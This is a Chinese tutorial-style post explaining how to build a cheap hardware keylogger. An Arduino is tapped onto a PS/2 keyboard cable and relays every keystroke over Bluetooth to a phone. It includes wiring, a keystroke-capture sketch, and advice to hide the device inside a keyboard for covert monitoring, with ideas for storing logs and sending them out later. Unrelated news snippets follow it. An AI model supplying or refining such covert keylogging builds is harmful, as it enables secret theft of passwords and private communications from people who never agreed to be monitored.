50元制作PS2键盘无线监控装置

0×00    什么是Arduino 

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。 

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。其本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种。

Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.

0×01    模块

1.arduino nano/micro/mini一个    30元左右
2.蓝牙模块一个    20元左右
3.若干导线    一坨3元左右

用山寨的nano(实战的话得把排针拔掉,焊上导线)也可,价格10元左右。mini也不错,价格也是10元左右,但是需要一个usb ttl来烧写程序。micro山寨的30元左右,这个比nano小点,跟mini差不多,这个板子可以模拟键盘和鼠标实现HID攻击,相当于teensy。指甲大小的lilypad兴许可以,我这里没有这个板子,不太清楚这个板子的情况。

而实战时,把arduino的排针拔掉,直接把这两个模块焊起来,大小就跟下面的差不多了,由于导线会比下面的略大一点。

0×02 思路

最初的思路是,利用micro板子接收ps2键盘然后在再有micro模拟成键盘转发出去。但是因为由于不能完全解码ps2键盘的按键信息,所以我就换了个思路。直接用板子并联在连接线上面,这样键盘发出按键信息后会沿着线路到达两个地方,一个是计算机,一个就是我们的记录器了。

0×03 原理

ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

其中clock和data用于截获按键信息,剩余两个用于给键盘和装置供电。

接线图:

 

看起来连线有些眼花缭乱,事实上很简单的几下。键盘正常连接计算机不变,只需要在键盘连接计算机的线路中的这四根线引出导线连接在板子上即可。

蓝牙模块也同样需要连四根线

0×04    连接硬件

上图是装置的全部分,实战时把线路焊接起来而不用杜邦线和排针就可以压缩到u盘大小,而且供电直接取自键盘。可以把此装置塞到键盘当中实现隐秘监控,由于使用的不是转发的方法,即使电路故障(只要焊接好,可能性很低)也不会影响键盘的正常使用。焊好后大小就如同文章开头提到的。

0×05    烧写程序

首先需要下载一个库文件,解压放到arduino ide安装目录中的librarys文件夹中。然后使用arduino ide 给板子烧写程序,在工具菜单栏中选好板子的型号,在选号对应串口号。烧写以下程序

#include <PS2Keyboard.h>

const int DataPin = 3;
const int IRQpin =  2;

PS2Keyboard keyboard;

void setup() {
  delay(300);
  keyboard.begin(DataPin, IRQpin);
  Serial.begin(9600);
  Serial.println("Keyboard Test:");
}

void loop() {
  if (keyboard.available()) {

    // read the next key
    char c = keyboard.read();

    // check for some of the special keys
    if (c == PS2_ENTER) {
      Serial.println();
    } else if (c == PS2_TAB) {
      Serial.print("[Tab]");
    } else if (c == PS2_ESC) {
      Serial.print("[ESC]");
    } else if (c == PS2_PAGEDOWN) {
      Serial.print("[PgDn]");
    } else if (c == PS2_PAGEUP) {
      Serial.print("[PgUp]");
    } else if (c == PS2_LEFTARROW) {
      Serial.print("[Left]");
    } else if (c == PS2_RIGHTARROW) {
      Serial.print("[Right]");
    } else if (c == PS2_UPARROW) {
      Serial.print("[Up]");
    } else if (c == PS2_DOWNARROW) {
      Serial.print("[Down]");
    } else if (c == PS2_DELETE) {
      Serial.print("[Del]");
    } else {
      Serial.print(c);
    }
  }
}

手机上面使用Bluetooth spp连接蓝牙串口,就可以看到键盘的实时按键信息了。

我使用的是笔记本,没有ps2口,所以我用另一arduino板子当作计算机。所以你会看见视频里一坨东西,但装置只有两个小板子,其余都是为了模拟计算机。

视频中可以看到当按键后,手机的蓝牙端实时接收到按键数据,而同时计算机也收到了按键信息。可以看出这个装置是不影响键盘和计算机的通讯,只是听一听它们在聊什么。

0×06    其他问题

有些地方还需要完善:

1.功能键部分无法识别(但不影响键盘使用)
2.按键信息还可以通过更便宜、更小、传输距离更远的nrf24l01+,代码有点复杂(为我还没有研究明白)
3.arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,所以没有往上面存储按键信息,如果加入关键字触发,才写入存储,兴许有点用。也可以用micro sd卡模块,将按键信息存储在存储卡中,等到有人连接装置后通过无线发送出去。我没买这个模块,所以这块没有做。

另外还可以做得更小更廉价!欢迎指教!

时间: 2024-10-17 16:10:05

50元制作PS2键盘无线监控装置的相关文章

花50元可偷看他人聊天记录 手机定位信息也能买

去年有84.8%的网民遇到过网络信息安全事件 隐私信息成为不法分子的生财之道 公安部称今后将始终对网络信息犯罪保持严打高压态势 赵佳峰 制图 "花50元就可偷看他人聊天记录.""业内人士爆猛料,有苹果售后人员网上卖定位信息."昨日,人民日报大篇幅报道了公民个人信息资料屡屡被窃的新闻,引发网民热议. 1月12日晚,深圳宝安职业技术学校高二女生赖曾裕童(@MysshI)失踪,后被警方证实遇害.媒体报道称,死者生前常在微博上发布自拍照和定位,再次引发网友对网络个人信息保护

重庆一女子充50元话费到账50万

到营业厅给手机充了50元话费,晚上无意中翻看到账短信,居然发现到账的金额是50万元."足够我打277年的电话!但这话费不是我的,会不会对我有什么影响?"重庆的何女士,为这蹊跷事烦得一宿没睡."我记得去年11月在报纸上看过一则报道,南京一男子利用系统漏洞为手机充值2.6万元,事发后因涉嫌盗窃被拘留.现在我的账目也不明不白多出50万元,这件事会不会对我有什么影响?可别怀疑我是干坏事得来的吧?" 前天,何女士拨打 客服电话查询,又发现账户里的余额只有49元多,工作人员介绍

宿州移动智能无线监控道路照明

本报讯 近日,安徽移动宿州分公司与市政设施管理部门合作,成功开发出夜景.路灯无线监控系统.该项目的应用,可实现城市道路照明和景观照明的远程自动化管理. 远程路灯监控管理系统采用GPRS/GSM网络作为传输通道,实现了智能监控终端和照明管理调度平台间的无线数据传输,具备遥控.遥测.遥信等功能.工作人员通过平台可实时查询照明设施的运行情况,还可以远程检测路灯线路的电压.电流值及亮灯率,中控室的电脑通过数字远传电表可随时统计每个表箱的用电量,进行远程抄表,有效地节省了人力物力.此外,各路段的照明系统如

虾米音乐网推音乐人平台:下载单曲0至50元不等 试听免费

中介交易 SEO诊断 淘宝客 云主机 技术大厅 7月11日消息,今天下午虾米音乐网在北京宣布旗下"音乐人平台"正式上线,并声称两年内虾米将暂不参与音乐人收益分成. 据悉,虾米音乐网此次推出的"音乐人平台"旨在为独立音乐人和独立唱片公司提供一个可以对正版音乐自主发布.自主定价.自主营销的数字音乐平台,以解决独立音乐人无法直接进入音乐营销与传播渠道的现状. 根据该音乐人平台上的协议显示,用户在进入虾米音乐人平台后将拥有专属域名.demo区和小组,可以制作上传demo和专

黑客网上盗取个人信息月赚万元每份可获利50元

社交.招聘网站存安全隐患 黑客利用其漏洞贩卖个人信息 一份详细资料获利可达50元 盗取网站个人信息 黑客月赚万元 本报讯(记者 杨帆)"这个星期,无数的求爱电话和短信让我看到手机就心烦!"未婚的张小姐昨日告诉记者,她在某家婚恋交友网站注册了新用户,由于该网站保密技术很差,个人信息泄露了出去,她现在不得不更换手机号码. 记者随后通过深入了解发现,目前众多社交.招聘等涉及个人信息的网站,已然成为黑客和商业网站盗取财富的新平台.一份较为详细的个人资料,售价甚至可以达到50元,黑客一个月可获利

基本药物周六起调价头孢克洛从50元调为32.16元

自今年2月1日全面实施基本药物制度社区卫生服务中心用药全部零差率后,上海对688种基本药物集中招标采购,市物价局近日公布了中标价格,从昨天起,本市各级医院陆续收到调价信息,本周六起实行该次中标价格,这也意味着上海新医改方案提出的基本药物中标价格总体降幅39%的目标在本周六就将真正实现. 新医改药价降幅39%目标实现 去年12月,本市出台了基本药物制度实施方案,公布了共为688种药物目录,其中,国家基本药为307种,本市增补了381种基本药物,并规定自今年2月1日起基层医疗卫生机构只能在688种基

net-itextsharp pdf纵横合并问题(给予大于50元回报)

问题描述 itextsharp pdf纵横合并问题(给予大于50元回报) 关于itextsharp的纵横并.在document是用了rotate,是PDF变成横着的.怎样让pdf实现纵横的合并.在.net 中. 解决方案 挺好.这个问题就当作我的面试题. 如果谁能解决这个问题,并且只要50元,不用跟着lz了,直接来找我.我有很多50元一个的任务.够你做的. 解决方案二: 算一下,这可比雇佣程序员省钱多了. 解决方案三: 大于50 ,不表示就是50元.

隐私数据开价50元/月,你卖吗?

美国有一家企业开价 8 美元/月(约合人民币 50 元)收集用户的隐私数据,你愿意把自己的数据卖出来换点小钱吗?消费者在网上点了多少赞.喜欢上什么网站.经常购买什么物品,这些数据都可以让企业挖出金子. 一家名为 Datacoup 的创业企业是一家专门收集用户隐私数据的企业,然后通过数据挖掘来赚钱.Datacoup 绝对不是第一家这么干的企业,但绝对是第一家愿意为消费者掏钱的企业. 目前 Datacoup 正在开展一项隐私数据换钱的内测服务,用户把自己的社交网站 Facebook.Twitter

公交一卡通开通手机充值 仅限安卓机最高可充50元

公交一卡通手机充值京华时报讯(记者黄海蕾)昨天,记者从市政一卡通e乐充官方网站获悉,继一卡通实现在网上充值后,又开通了手机直接支付的功能.目前,带"C"标的一卡通公交卡基本都可实现手机支付.据介绍,"e乐充"(http://www.hzt360.com/)是市政一卡通的官方网上充值网站,之前已开通网上充值.网上消费等业务.昨天,该网站又推出手机支付功能.市民通过手机下载安装"e乐充公交卡"软件后,即可通过支付宝或者 网上银行为公交卡缴费.目前,该